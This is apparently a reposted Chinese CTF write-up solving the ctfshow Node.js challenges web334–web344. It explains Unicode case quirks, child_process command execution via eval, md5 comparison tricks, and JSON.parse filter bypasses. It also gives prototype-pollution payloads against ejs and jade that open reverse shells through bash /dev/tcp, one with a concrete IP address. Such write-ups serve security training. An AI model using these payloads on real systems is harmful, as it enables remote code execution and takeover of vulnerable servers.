web334(特性)
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
}
可以看到user.js文件中账号密码都已经给出,我们需要login文件中的判断语句为true
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
我们需要 name的值为 大写的 ‘CTFSHOW’,又要不等于’CTFSHOW’,我们需要利用toUpperCase()方法的特性
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
字符İ会转变为i,字符K会转变为k。
payload:
username:'ctfſhow'
password: '123456'
web335(特性)
execSync是child_process库里用于执行系统命令的一个方法,参数直接是命令
require('child_process').execSync('cat f*').toString()
spawnSync是child_process库里另一个执行系统命令的方法,与上一个方法不同的是,该方法命令和参数是分离的
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
web336(特性)
?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')
这里使用了声明变量拼接绕过,类似于python的模板注入和RCE里的拼接绕过
web337(特性)
题目源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) {
res.end(flag);
} else {
res.render('index', { msg: 'tql' });
}
});
module.exports = router;
这里要满足以下条件语句
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}
需要传入a与b参数,并且它俩的长度要相等,但变量自身不相等,而且它俩和flag拼接到一起后经md5加密的结果也要相等
payload1
?a[0]=1&b[0]=1
这里是传入数组,数组中都只有一个成员故length相等,我理解的是由于不是同一个数组所以两数组也不等,然后md5加密后的结果相等的原因,应该就是数组里的成员是相同的,故加密结果相同
payload2
?a[x]=1&b[x]=2
这里存入的是对象形式,在JavaScript中对象可以当做键值对的容器,类似于python里的字典,然后对象并不具有length属性,故返回为空,从而空空强等于,然后两个对象的成员不同,故不等于
然后加入以拼接的形式输出对象本身的话,只会打印出**[object Object]**这一字符串,并不会打印出成员,如图所示
故这两个对象拼接flag变量后经md5加密相等
web338(原型链污染)
看题目代码关键部分
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
看代码,只要让secert.ctfshow==='36dboy’就能输出flag。最主要的漏洞代码还是copy的一个递归调用函数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
它会for循环遍历object2中的键,如果这个键名在object1和object2中都存在,那么就调用copy函数,否则将object2的key赋值给object1。我们可以控制object2,如果object2中的key设置为_proto_,就可以原型链污染了。我们将object2赋值为
{"__proto__":{"ctfshow":"36dboy"}}
我们想让__proto__为键名就必须要json语法格式,不然的话,__proto__就会识别为原型而不是键名,所以在key遍历时也只有ctfshow这个键名了。
web339(原型链污染)
一个demo
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
运行上面的方法会发现query有了新的值
当变量没有被声明或引用赋值时,便会去上一级Object对象中查找该变量的值
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
}}
web340(原型链污染)
题目关键部分源码
//app.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
//这次的目标数组需要往上两层才可以污染到object
和上一题相同都需要利用定义函数的构造函数Function来反弹shell,payload
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}
web 341(ejs)
这道题没了上面可以执行命令的语句,要用到 ejs 模板引擎的RCE漏洞,这个漏洞也是上面几个题的通解(漏洞详细)
重点在ejs库中框起来的这几行
可以看到, opts
对象 outputFunctionName
成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined
,这样在 574 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object
类创建一个成员 outputFunctionName
,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName
赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE
在该题目中需要向上两层才能污染到object
payload
{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}
web342(jade)
该题是jade模板引擎的RCE漏洞(漏洞详细)
payload
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}
//同样是向上污染两级
POST发包访问login路由(注意添加红色框内请求头),然后再次随便发一下包即可反弹shell
web343(jade)
payload
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}
//同样是向上污染两级
操作和知识点和上一题相同
web344(特性)
题目源码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if (req.url.match(/8c|2c|\,/ig)) {
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if (query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true) {
res.end(flag);
}
else {
res.end('where is flag. :)');
}
});
经分析满足该if语句即可得到flag
query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true
可以看出我们传一个符合条件的JSON数据即可,但是该正则将逗号及其相应的URL编码都给禁了
if (req.url.match(/8c|2c|\,/ig)) {
res.end('where is flag :)');
}
这是我们要处理的payload,要让其没有逗号
?query={"name":"admin","password":"ctfshow","isVIP":true}
这里要说一个特性,JSON.parse()函数在处理数组时会把数组里的成员都用逗号拼接成一整个字符串,然后进行解析
例如
var a = ['{"name":"admin"','"password":"ctfshow"}'];
var query = JSON.parse(a);
console.log(query);
//拼接为['{"name":"admin","password":"ctfshow"}']
输出文章来源:https://www.toymoban.com/news/detail-692190.html
{ name: 'admin', password: 'ctfshow' }
所以我们的payload要分开传参,构成数组,以此来绕过逗号,payload为文章来源地址https://www.toymoban.com/news/detail-692190.html
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
//这里ctfshow写为%63tfshow的目的是前面的双引号经过URL编码后为 %22 然后和字母c组成 2c 被正则过滤,所以要对字母f进行URL编码
到了这里,关于Ctfshow nodejs的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!